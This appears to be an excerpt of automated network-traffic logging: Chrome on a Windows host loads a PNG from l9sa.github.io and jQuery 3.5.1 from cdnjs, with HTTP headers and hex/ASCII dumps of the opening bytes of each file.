2024-08-29 22:19:18 UTC	623	OUT	GET /assets/img/background.png HTTP/1.1 Host: l9sa.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l9sa.github.io/assets/css/styles.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:19 UTC	723	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1294919 Server: GitHub.com Content-Type: image/png permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-13c247" expires: Thu, 29 Aug 2024 22:29:18 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 93B9:1728:38CC4F9:3FE6472:66D0F3E6 Accept-Ranges: bytes Age: 0 Date: Thu, 29 Aug 2024 22:19:19 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740026-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969959.977255,VS0,VE60 Vary: Accept-Encoding X-Fastly-Request-ID: 09b90e3420f7aa0aed819e4b61e2973befde72a8
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0f 00 00 00 08 6e 08 06 00 00 00 a9 62 a8 99 00 00 06 4e 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 65 78 69 66 00 00 78 da ad 57 5b 92 24 27 0c fc e7 14 3e 02 12 08 c4 71 78 46 f8 06 3e be 53 a2 ba e7 b1 6b 7b 37 c2 5d 31 55 94 a0 40 99 29 09 26 ec bf fe 3c e1 0f fc 48 6b 09 59 aa 96 56 4a c4 2f b7 dc b8 a3 a1 f1 fe 9a df 29 66 bf bf 7e e7 b1 7e b1 87 b2 9f cf 18 a6 84 67 ba 1d b5 df 27 75 d8 e5 e3 83 d7 1a 34 be da 83 3e 3d ac cf 44 af 95 f9 3e 92 ad 6c ed f5 d9 49 d8 f9 da 29 3f 13 b5 7d 1b a5 69 fd ec ea 78 26 9a cf 40 77 e5 f9 cb 6f b7 ee c3 de c3 17 43 05 4b 4b b0 50 62 de 89 52 f4 bb 5e 0f d2 fd eb f8 53 dc 29 55 1b 87 67 4f 39 b5 e0 0f 7a 26 03 21 5f e0 7d 10 fc 99 a0 ef e4 Data Ascii: PNGIHDRnbNzTXtRaw profile type exifxW[$'>qxF>Sk{7]1U@)&<HkYVJ/)f~~g'u4>=D>lI)?}ix&@woCKKPbR^S)UgO9z&!_}
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 4c 88 0d d2 38 54 d0 c7 77 0d 45 b4 d1 13 0b 68 e3 68 df 3d 54 f3 2c 88 d0 8b 0f e7 47 a4 87 11 6e f0 71 20 c2 96 ed 10 f3 20 04 b0 71 65 2d 27 dd 5b ed 89 2d c1 51 5c 5d 3f 5e 59 f7 4c e5 ba 8b 28 59 e6 02 64 0d 18 35 a3 c5 b4 45 8a f6 e9 df 21 ad 71 7e c4 39 71 bc ea 02 f7 77 91 c0 5e b6 4a c1 59 c6 dd af e0 00 ad 19 72 aa d7 80 a2 65 99 0a 38 d0 88 9d 4e 6c 17 37 15 ae d1 b6 6c cf 1d 83 06 c4 d1 5d 6f ae 4f 0c 62 ce ba 54 e8 07 6d ec f1 57 4c 40 ab 57 e6 5d 34 76 bc 66 e4 c1 fa 0c b5 ff 52 6e b3 e1 7f 82 34 82 03 c4 d9 8b f3 33 02 b9 8a 29 ea b3 31 29 52 b9 9d dd ef 2e 95 b5 83 20 22 8b 06 03 e5 b9 b0 1d 5b b0 dc 40 21 4b 45 3d 4e 0c 00 a8 bc 70 90 db 33 3f d9 84 24 b9 21 ef b1 d6 1e 65 dc 41 31 63 78 47 60 49 f1 06 25 7d 98 b0 b9 3c 4d 9c ba f9 95 c5 Data Ascii: L8TwEhh=T,Gnq qe-'[-Q\]?^YL(Yd5E!q~9qw^JYre8Nl7l]oObTmWL@W]4vfRn43)1)R. "[@!KE=Np3?$!eA1cxG`I%}<M
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 82 5f 06 fb fb e5 77 11 7f 9c 38 a5 b2 0e a9 99 a1 28 51 de 53 dc fc b1 28 b7 08 eb 98 9c 3f 0d ec 91 e2 d1 ab 17 47 1e 16 00 fc fa 9c 21 ce 51 c2 6e 44 19 31 cf 96 cd 2f 23 0e d7 44 79 bd bc 96 f7 c6 d4 7f 93 f9 8b e7 d8 a4 b4 ad 52 db b5 18 f1 af 2f 2f db 57 fb e7 de 20 34 a4 3a 0a 1b cf 7e 2d f0 d2 71 45 99 41 ed 19 73 ed c9 b1 c1 25 51 a2 dc 59 05 f3 de 92 4d 4e eb 6b 1c fe 7d b2 ac 3d cb a9 0c 4e 7d 10 b5 f8 8c 49 1d ab 3f fd ed 98 b4 46 3a d4 cd 10 99 0e ef 28 b4 dd c8 82 4b a9 dd d1 1a f9 4c 45 1a 25 8a 85 ff 3f cf a5 bf bb 5a c7 90 b1 f0 1b 17 c1 3f 33 82 ab 23 da e0 02 2a e3 2e 73 7c 7b 2e 65 15 73 dd 56 f6 a2 84 ff b8 0a c1 79 4f 29 fa bd 0c 9d 4b 73 27 85 f4 ef a2 1c 77 ff 48 e6 78 20 c9 5c e7 63 60 3f a7 44 b6 03 e3 be 11 59 df 81 fd d7 a2 3e Data Ascii: _w8(QS(?G!QnD1/#DyR//W 4:~-qEAs%QYMNk}=N}I?F:(KLE%?Z?3#*.s\|{.esVyO)Ks'wHx \c`?DY>
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: f4 7e 86 3d b6 52 7f 53 bc d7 db 86 ae 07 0b 5c e9 86 cd 9e be 79 41 51 95 e8 d9 16 ef 89 ea 00 32 12 c1 ec 94 72 e3 d7 06 fd 92 10 45 0f d8 4a ee 1a 24 40 83 e3 f6 fe 9f 08 2e e4 b2 2d 7b 0d 80 c6 77 e0 cd 9b bb c6 70 60 32 a5 5e 95 78 31 ba df db f1 12 3b ff cf b4 a8 54 4c bf ab 3a 12 7f 5c 79 91 1f 6c 99 f0 c7 f7 b9 40 64 74 4e 98 e8 dd 56 c4 a6 72 21 1b ae f3 a5 57 36 31 97 c3 cf 19 75 7f 5c 23 0a 3b 01 6c 49 5a 96 6d e3 8f 75 fb d8 3c e6 25 f6 5c f3 b1 71 24 ee da 57 c1 8b 63 d2 42 ff 50 4d bb 86 04 ac 10 ba cf dc 96 aa f5 41 6b ef 6b 13 2c 9f 90 52 26 c3 df d7 7c 17 e6 ea f3 d7 ff 0a 37 f5 5e 0e 57 7b 1b 94 e0 29 ea e4 58 fc 77 85 fd f1 d0 ff 87 6e 40 d0 dd 54 c5 b4 86 a3 89 67 49 52 fb e1 0a a6 b1 31 14 04 7e 7b af 6f 31 33 7a f2 06 13 ef 11 51 f0 Data Ascii: ~=RS\yAQ2rEJ$@.-{wp`2^x1;TL:\yl@dtNVr!W61u\#;lIZmu<%\q$WcBPMAkk,R&\|7^W{)Xwn@TgIR1~{o13zQ
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 6f b9 df 85 0e 00 39 3c 25 05 4a 6d 0a 75 a3 6f 86 33 4b 9e 73 26 e1 11 36 82 4f 2c 6a 07 64 b5 4c 9b 05 44 3c 2e 0d 78 aa fd f7 4a ac ac c3 78 ac 74 d5 b4 7c ed 81 72 7e 2f f8 fa 6a fb fa 73 ea 97 5b 62 d6 32 95 a2 98 7a 7c 1f ef 47 7e 2e 4b 99 8f 58 8a bd d7 7d 12 66 f8 bd ae f3 f5 dc f2 26 5f 9c 4a 4c a2 a9 ab 95 e5 6a 4b 78 24 d7 97 56 9d 96 3e b4 fa 67 7d 4e c7 58 1b 87 96 66 c8 62 73 1d 2d 34 bf 97 32 92 8d e4 9f 5e 7f 13 a5 74 e9 11 54 ab 6f ed f7 88 0d 97 02 40 a3 2e ed 94 ec 9f b4 3a a7 74 a8 f3 a9 ec 14 99 81 a3 0c e6 ab e0 a7 9b da 96 9a 5e 3e 6c 1d 67 3f 5e d0 f8 88 b1 b8 e6 2a a7 6f 93 4f af c3 bd cc 46 ee 28 7a b7 f6 cc 1f 47 fe 77 ef c7 f1 dd 3f 1a 57 78 64 f9 38 fd db 5d 18 e8 a4 64 0a 81 10 40 4d cd 54 01 96 14 22 b2 8b 4f 56 8d 16 86 b5 Data Ascii: o9<%Jmuo3Ks&6O,jdLD<.xJxt\|r~/js[b2z\|G~.KX}f&_JLjKx$V>g}NXfbs-42^tTo@.:t^>lg?^*oOF(zGw?Wxd8]d@MT"OV
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: d6 7e fb ee 41 dd f1 f5 1f 4b 80 64 08 f0 4c 57 66 57 15 38 fa 7c e6 33 c4 99 84 4a db ea 69 7b cd bb d0 4b 9b b0 96 60 a0 28 cb 8b 7d 2b 63 99 c6 9f 7e 03 38 88 12 65 69 21 2f 3d 97 8c 79 fa 8f ab 86 a1 a1 86 64 81 93 9a b6 42 4e a3 8c c2 8e 39 1e 45 2f fb cb 53 86 46 cc e8 05 c8 96 f7 1e e8 63 79 54 73 bd ce 27 03 bd 92 e0 82 6c 2e 33 3c d0 b3 3a 92 2f 42 ba 75 84 1d f5 89 89 c4 2a fd c3 ef 2d 1f f6 b0 48 0e ef 38 68 15 33 06 f6 5c cd 6c f1 2d c4 a0 e3 c8 4f 01 a0 d2 4e 42 7d 74 98 6f 9f bf bb b3 1f 33 57 8c 38 c5 c6 28 c0 45 74 ec 7f eb b7 24 b9 8c de 65 d4 84 23 ec 09 d8 1e a7 d2 f8 f8 11 ce 18 29 dd 5b 5a a5 8e 28 41 db 15 15 12 57 9b 34 5c c8 75 e4 12 f4 e7 4a c2 e4 58 e7 12 eb 91 86 b5 22 72 a6 00 f8 22 8d 3d 9c c3 42 62 1e 25 30 f0 2d bd eb 4c 70 Data Ascii: ~AKdLWfW8\|3Ji{K`(}+c~8ei!/=ydBN9E/SFcyTs'l.3<:/Bu*-H8h3\l-ONB}to3W8(Et$e#)[Z(AW4\uJX"r"=Bb%0-Lp
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 7f 8c e2 1f c9 b7 da c3 ca 9f ff 69 fb e1 f1 9e f7 78 ae 6a 63 09 be d5 ec 05 7c 1b 7c f7 d6 7b 4e f8 f9 71 74 79 90 0c 91 8c cc ae 51 ba f8 28 f8 e7 c6 76 61 86 3d 88 32 15 d3 7f ff 15 72 b9 54 f9 bb 14 b3 54 36 c6 ba 6a 1b 6e b2 7d 4b 2c 28 99 53 13 b5 45 48 fe 6c c0 40 b6 4a 36 7b 8f 81 8e 04 85 bd c8 f5 b8 67 5b f6 05 d7 fa 71 77 2f 28 69 5f f0 0b ac 3e cd 69 ce d1 de eb 32 89 f4 92 10 76 72 f0 d3 6f 85 0f 60 1d 25 8a 5e 77 91 54 a4 20 e4 f7 90 ce 39 4b 60 5d c3 e0 c7 ae fd f7 91 53 64 d2 d4 7c fb d1 d2 56 b5 f4 37 bb df 59 50 82 c5 14 90 1c 60 39 c3 02 af ef d1 4b ad 63 c7 95 c5 45 83 dc c0 ff b8 17 25 47 d6 3f 6b 93 f1 58 0c 3d 98 c7 38 09 ec 8d ba 07 8b 9b 3c a3 a6 92 54 ed 8b 92 f4 e8 1d 9e f3 57 e8 01 33 76 94 8d 6f 2c 1e 2e 0e 26 93 67 df 5e b1 Data Ascii: ixjc\|\|{NqtyQ(va=2rTT6jn}K,(SEHl@J6{g[qw/(i_>i2vro`%^wT 9K`]Sd\|V7YP`9KcE%G?kX=8<TW3vo,.&g^
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: d8 ec b7 13 df 41 02 e2 f0 6f 94 28 0b 18 9b ac f2 60 59 7b f1 9f ec 8a a4 17 02 0c 30 44 0d a0 6e 5c 79 1a d0 ed 31 44 94 2b 05 2a 3d ec ce b2 1f c2 fb aa 88 50 98 3d e8 6b b1 e1 40 c7 de fd 36 e5 0e 4c 88 84 44 cf 0b 18 b1 57 07 69 c5 a1 b2 4b 8e c6 63 0b cc 65 c5 80 90 77 d9 c7 64 64 e6 2e 38 f1 06 2a ba 89 af 87 36 7a a5 9e 6f ed be bb 24 20 2f db f6 27 51 c3 de eb b7 dc 02 0f 78 bb 24 87 67 cf 9b 69 13 fb d5 6c 3c 99 dc ea 5c 93 4e bc 1d 65 25 36 9c 36 63 57 1d fe 1d 84 81 d4 f1 4b c1 e1 df da df c4 f6 4a f8 fb d0 b9 88 05 8c cb 3d 51 cb fa 41 68 f4 87 31 c2 6b c8 31 73 7d 99 8a c3 26 4e 13 8c c9 ac 53 b3 6d 90 f5 6b a4 fe 59 55 26 45 59 99 fa 20 d4 31 0e a1 c0 20 27 0f 92 bb bf 1e d2 44 b2 a3 7f 0a 2c b3 f5 ae 01 f3 54 0f 07 4b e5 ca ca bf b5 f1 ca Data Ascii: Ao(`Y{0Dn\y1D+=P=k@6LDWiKcewdd.86zo$ /'Qx$gil<\Ne%66cWKJ=QAh1k1s}&NSmkYU&EY 1 'D,TK
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 9c c8 1d fe 6d 32 36 cf 98 67 09 7c 21 db 14 87 21 3d 99 11 9d c7 c0 b6 61 7e 8b 53 5a 8e b2 94 7e c5 c4 b9 c4 bb 18 05 9b f0 80 53 ee 71 85 85 3c 48 2c 70 e1 f0 4b 97 21 86 68 ec 30 1c 2e 83 b2 e9 a5 9c 0e 67 77 b2 b9 6b 83 4a cb 40 c1 db 68 4c 22 20 6a 43 d4 1d 16 16 9d c0 6c 67 f2 e3 d5 21 95 95 54 dc fd 33 53 40 cd b5 f7 37 2d 74 1c 57 9e 3b 31 53 89 2c ae 2f ed 6b de 58 52 42 7a 3c 0b 2c 20 bf d2 8b 34 0f d9 d9 b5 7a ee 26 4a a2 97 c5 3e 97 52 68 86 7e 85 38 d3 4f 9c 2f f1 ea bb ec 70 a1 a3 68 e0 22 5c c1 6f 12 87 26 82 00 0e 08 80 d1 cf 28 cf e7 73 c6 a6 a3 c7 8e 6d c4 e2 7e d8 96 28 51 a2 bc 0b 0c da f5 b2 53 5e cd 28 81 67 fe b1 09 86 d7 59 ba 44 a8 f5 fc b7 0b c0 7c af 45 3b 5c 85 7e 96 c3 6f 2a d6 92 e0 0c 48 a5 a5 3a 99 cf cf d5 61 05 2d 82 f1 Data Ascii: m26g\|!!=a~SZ~Sq<H,pK!h0.gwkJ@hL" jClg!T3S@7-tW;1S,/kXRBz<, 4z&J>Rh~8O/ph"\o&(sm~(QS^(gYD\|E;\~o*H:a-
2024-08-29 22:19:19 UTC	1378	IN	Data Raw: 84 c0 40 8b 05 23 cf ce f4 55 4a 7b 17 34 ec 34 d7 f8 ff c6 23 00 b4 53 c6 2a 08 4c 83 7c b3 98 31 16 b7 10 14 eb d4 71 a0 8e 5f f3 80 44 2e ab 6f 63 f4 52 e2 64 53 c3 f0 0c e0 d5 4c 7e bd 12 46 1f b5 87 9b c2 fb 43 c5 56 7a cf 1e 22 22 ff 5c e0 7f 34 f8 1f fe d2 28 f7 7f b7 88 96 ce 96 67 ab 6d b8 7c ae a8 94 57 c9 b3 e1 9c c6 21 13 b1 a3 61 e5 bf 2b a7 cf 37 19 97 b2 79 31 63 93 90 98 ad 3d 26 cb d4 f9 89 73 59 6e 4f 4e 63 31 62 06 c3 2c 8e c2 85 5c fc c9 b9 ce 6e b9 c5 ca 32 f9 f0 42 03 b7 51 f3 01 07 cf 25 3b c3 25 ce 00 1f 6e 6d 0a 7c b9 62 5d c8 93 22 c5 56 9e 1c 03 4d fc b9 64 af 92 8c aa a7 0c ab 0e f3 92 26 02 44 83 61 76 3f b7 a6 ee f4 fb 7e f1 63 45 65 c6 4e 3a 6e bb fb e9 a5 7c 5d a0 01 33 69 08 7f ed 2f 4c fa 66 a6 87 46 a6 a0 4b b2 d7 45 66 Data Ascii: @#UJ{44#S*L\|1q_D.ocRdSL~FCVz""\4(gm\|W!a+7y1c=&sYnONc1b,\n2BQ%;%nm\|b]"VMd&Dav?~cEeN:n\|]3i/LfFKEf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	104.17.24.14	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:18 UTC	380	OUT	GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:19 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb09ed3-15d84" Last-Modified: Mon, 04 May 2020 23:01:39 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 80205 Expires: Tue, 19 Aug 2025 22:19:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nt3uEKWkYp8%2BAHhoL1r6HZYVJgkc5aLF77AsPkYMHSWTjKnPOBkBOedjIp%2FtE0l2j9hP3Ms%2FuQKeJu7ER1v%2FBu1YHkV5DA5h52V7%2Bhpjcg%2B3TSxYOJjrNj8x4VEJWuVdm5OwVhNF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8bafec038dc08c9b-EWR alt-svc: h3=":443"; ma=86400
2024-08-29 22:19:19 UTC	405	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bec/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f Data Ascii: ototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeo
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b Data Ascii: .eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 Data Ascii: urn e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 Data Ascii: \\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g")
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 Data Ascii: on(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 Data Ascii: ){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe
